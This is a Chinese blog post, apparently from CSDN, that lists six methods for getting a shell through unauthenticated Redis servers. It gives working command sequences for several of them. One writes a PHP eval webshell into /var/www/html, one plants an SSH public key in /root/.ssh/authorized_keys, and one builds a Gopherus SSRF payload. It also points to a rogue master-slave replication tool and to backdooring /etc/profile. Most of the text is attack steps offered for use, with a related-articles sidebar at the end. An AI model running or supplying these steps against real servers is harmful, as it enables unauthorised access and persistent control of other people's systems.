Redis反弹Shell

这里我来总结几种Redis反弹Shell的方法

一、利用Redis写WebShell

前提条件

开了web服务器,并且知道路径,还需要有文件读写增删改查的权限

条件比较苛刻,但是满足条件上传就会简单一点,我们直接将文件写入www目录下,完了使用工具连接即可。

语句:

redis:6379> config set dir /var/www/html/

redis:6379> config set dbfilename shell.php

redis:6379> set x "<?php phpinfo();eval($_POST'ant');?>"

redis:6379> save

二、利用crontab反弹Shell

前提条件:可以建立连接,下载上传文件

这个就是利用计划文件,将木马写到计划文件,等待计划任务执行时解析木马,然后反弹Shell。

详情可见

Web-Machine-N7靶机攻略-CSDN博客文章浏览阅读280次,点赞3次,收藏6次。摘要:本文记录了从靶机部署到成功获取FLAG的渗透测试过程。首先通过VirtualBox启动靶机并配置桥接网络,使用arp-scan和gobuster等工具进行信息收集,发现exploit.html文件上传点。在尝试上传木马未果后,通过查阅资料找到隐藏的enter_network/admin.php目录。通过破解Cookie(经过URL解码、base64解码和MD5解密)成功绕过管理员验证,最终拼接获得完整FLAG。整个过程展示了从信息搜集到权限提升的完整渗透测试思路。https://blog.csdn.net/fristchoice/article/details/149613502?spm=1001.2014.3001.5501

三、SSRF结合Redis未授权Getshell

这个按道理来说已经不是反弹Shell了,而是写入GetShell,但是既然总结了,我就把他也放到这里来。这个主要就是使用kali中的Gopherus来生成载荷。命令如下:

python2 gopherus.py --exploit redis

紧接着将其进行URL编码,然后访问即可。

最后使用工具连接即可。

四、Redis密钥写入ssh

前提条件

Redis服务使用root账号启动,且可未授权登录;服务器开放了SSH服务,而且允许使用密钥登陆,即可远程写入一个公钥,直接远程登录服务器。

步骤:

生成密钥公钥:ssh-keygen -t rsa

防止乱码:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

导入内容到redis数据库:cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh

-a为登陆密码,可选择不写,回显为OK

接下来保存到目录:

redis:6379> config set dir /root/.ssh

redis:6379> config set dbfilename authorized_keys

redis:6379> save

这时就完成了,直接ssh连入即可:ssh @ IP

五、主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。

工具下载:nullhttps://github.com/n0b0dyCN/redis-rogue-server

六、通过修改系统配置文件执行命令

例如写入/etc/profile,/etc/bashrc等系统环境配置文件,在用户登陆时自动执行反弹shell(需要等待用户登录才可以触发)

这个方法我没有试过,只是搜索找到了这个方法,日后如果用到的话会返回来补充,现在就写到这里。欢迎大家补充讨论。

相关推荐
frjc24 分钟前
数据库选型:如何从众多数据库中选出最理想的那一个
redis·mysql·clickhouse·elasticsearch
panpan16192 小时前
Redis命令大全
redis
java1234_小锋4 小时前
Redis 宣布正式接入 AI
数据库·人工智能·redis
行百里er4 小时前
Redis 持久化——RDB 快照 vs AOF 日志
redis·后端
恣睢s5 小时前
BugKu——shell
网络安全
程序猿乐锅5 小时前
一文讲透缓存穿透、击穿和雪崩
java·redis·spring·缓存·mybatis
程序猿乐锅6 小时前
【黑马点评 | 第七篇】Redis 分布式锁的两种实现
java·数据库·redis·分布式·spring·缓存
程序猿乐锅8 小时前
【黑马点评 | 第九篇】秒杀优化-异步实现
java·spring boot·redis·后端·spring·中间件·mybatis
黄金龙PLUS11 小时前
5个1024比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
旋生万物12 小时前
Redis 缓存雪崩?不是 TTL 一样,是过期相位同步塌陷(附打散脚本)
redis·缓存·aigc·螺旋生成论·螺旋相位